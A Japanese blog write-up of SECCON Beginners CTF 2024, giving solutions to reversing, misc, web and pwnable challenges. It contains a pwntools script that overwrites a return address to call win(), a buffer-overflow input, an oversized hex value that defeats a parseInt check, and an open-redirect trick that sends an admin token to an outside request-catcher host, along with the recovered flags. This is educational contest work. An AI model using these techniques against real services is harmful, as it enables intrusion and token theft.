SECCON Beginners CTF 2024に参加しました!

はじめに

2024年6月8日~9日に開催されたSECCON Beginners CTF 2024に参加しました。

結果はチーム「THE Students」で945ポイント、全962チーム中69位でした。

reversing

construct

解法

Ghidraで中身を眺めているとfunc_XXXXXXXXという関数がズラーっと並んでいて中を見るとUsageを出力する関数、文字列長が32であるか確認する関数、”WRONG”と出力する関数、strncmp()で比較を行っている関数*16があることが分かる。

strncmp()の3つ目の引数がいずれも2なのでそれぞれの関数から2文字ずつ引っ張ってこれば良いことは分かるが、関数の実行順が分からん。

Ghidraを眺めていてもどうにもならなかったのでgdbで各関数の先頭にb *func_XXXXXXXXとブレークポイントを張って気合で探索した。i番目に実行される関数のi*2-1, i*2文字目がFlagになるので最初に文字列を適当に32文字埋めて実行される関数の確認とFlagの構築を繰り返した。これ自動化したかったんですけどどうすりゃええんや…。

以下そのときのメモ。

0x00000000000011e9  func_e0db2736 // Usage
0x000000000000121e  func_f8db6e92 // Len = 32
0x0000000000001257  func_91e3f562 // "c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh"
0x00000000000012c3  func_c285f76d // "9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo"
0x000000000000132f  func_b548021f // "lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w"
0x000000000000139b  func_af41723c // "l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o"
0x0000000000001407  func_1f5eba30 // "17zv5h6wjgbqerastioc294n0lxu38fdk_ypm"
0x0000000000001473  func_da53ce29 // "_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a"
0x00000000000014df  func_bae805f6 // "1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx"
0x000000000000154b  func_d902e81f // "tufij3cykhrsl841qo6_0dwg529zanmbpvxe7"
0x00000000000015b7  func_74b2a53c // "r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3"
0x0000000000001623  func_3d90c2fa // "aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es"
0x000000000000168f  func_69fd4a70 // "l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch"
0x00000000000016fb  func_9e540c6a // "c0_d4yk261hbosje893w5igzfrvaumqlptx7n"
0x0000000000001767  func_35efd7b6 // "b0i21csjhqug_3erat9f6mx854pyol7zkvdwn"
0x00000000000017d3  func_3b8e07a4 // "3mq16t9yfs842cbvlw5j7k0prohengduzx_ai"
0x000000000000183f  func_21670b38 // "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5"
0x00000000000018ab  func_30b49da1 // "3icj_go9qd0svxubefh14ktywpzma2l7nr685"
0x0000000000001917  main
0x0000000000001965  func_dc69ef50 // "WRONG"

<func_9e540c6a+0> c0
<func_21670b38+0> ns
<func_b548021f+0> 7r
<func_c285f76d+0> uc
<func_74b2a53c+0> 70
<func_d902e81f+0> rs
<func_35efd7b6+0> _3
<func_1f5eba30+0> as
<func_bae805f6+0> 3_
<func_30b49da1+0> h1
<func_91e3f562+0> d1
<func_af41723c+0> ng
<func_69fd4a70+0> _7
<func_3d90c2fa+0> h1
<func_3b8e07a4+0> ng
<func_da53ce29+0> s!

c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!

実行して投げて正しいことを確認した。

$ ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
CONGRATULATIONS!
The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

Flag

ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

former-seccomp

解法

Ghidraのでコンパイル結果からいい感じにPythonでトレースした。

# FUN_00101497
def FUN_00101497(param1, param2):
    local_118 = list(range(0x100))

    pvVar1 = [0] * len(param1)

    local_148 = 0
    for local_150 in range(0x100):
        local_148 = (param2[local_150 % len(param2)] + local_118[local_150] + local_148) & 0xff
        # FUN_00101463(local_118 + local_150, local_118 + local_148)
        local_118[local_150], local_118[local_148] = local_118[local_148], local_118[local_150]

    local_140 = 0
    local_138 = 0
    for local_130 in range(len(param1)):
        local_140 = (local_140 + 1) & 0xff
        local_138 = (local_138 + local_118[local_140]) & 0xff
        # FUN_00101463(local_118 + local_140, local_118 + local_138)
        local_118[local_140], local_118[local_138] = local_118[local_138], local_118[local_140]

        pvVar1[local_130] = local_118[(local_118[local_138] + local_118[local_140]) & 0xff] ^ param1[local_130]
    
    return pvVar1

# FUN_00101737
def FUN_00101737():
    DAT_00104010 = [ 
        0xa5, 0xd2, 0xbc, 0x02, 0xb2, 0x7c, 0x86, 0x38, 0x17, 0xb1, 0x38, 0xc6, 0xe4, 0x5c, 0x1f, 0xa0, 0x9d, 0x96, 0xd1, 0xf0, 0x4b, 0xa6, 0xa6, 0x5c, 0x64, 0xb7,
        # 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    ]

    DAT_00104030 = [
        0x43, 0x55, 0x44, 0x17, 0x46, 0x1f, 0x14, 0x17, 0x1a, 0x1d, 
        # 0x00,
    ]

    DAT_00104030_2 = []

    for i in range(len(DAT_00104030)):
        DAT_00104030_2.append(i + 0x20 ^ DAT_00104030[i])
    
    lvar3 = FUN_00101497(DAT_00104010, DAT_00104030_2)

    print("".join(map(chr, lvar3)))

if __name__ == "__main__":
    FUN_00101737()

Flag

ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}

misc

getRank

解法

桁数制限的に無理ゲーに見えたけどparseIntが16進数も通るようなので試したら通った。

$ curl -X POST -H "Content-Type: application/json" -d '{"input":"0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}' https://getrank.beginners.seccon.g
ames/
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}

Flag

ctf4b{15_my_5c0r3_700000_b1g?}

clamre

解法

正規表現頑張るだけ。全体の()が\1で中は左から順に(\x63\x74\x66)が\2、(4)が\3と続いていくので気を付けましょう(1敗)。

Flag

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

web

wooorker

解法

https://requestcatcher.com/ 等のリクエスト可視化できるものを使って、脆弱性報告ページに入力するログインページのリダイレクト先に指定すればadminのtokenを奪える(login?next=//aa.requestcatcher.com/と投げれば良い)。

Flag

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

pwnable

simpleoverflow

解法

バッファが溢れるように適当に投げれば良い。

$ nc simpleoverflow.beginners.seccon.games 9000
name:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Hello, 1111111111111111�^�
ctf4b{0n_y0ur_m4rk}

Flag

ctf4b{0n_y0ur_m4rk}

simpleoverwrite

解法

オフセットが18であるのがプログラム18行目から分かるので18バイト適当に投げて調整してからwin()のアドレスを投げれば良い。

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("simpleoverwrite.beginners.seccon.games", 9001)

    return r


def main():
    r = conn()

    r.send(b"A" * 18 + p64(0x401186))

    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py
input:Hello, AAAAAAAAAAAAAAAAAA\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

Flag

ctf4b{B3l13v3_4g41n}

おわりに

去年よりも多く解くことができて良かったです。特にreversingのhard解けたのは成長を実感しました。

cryptoとwebに相変わらず苦手意識があるからなんとかしたい。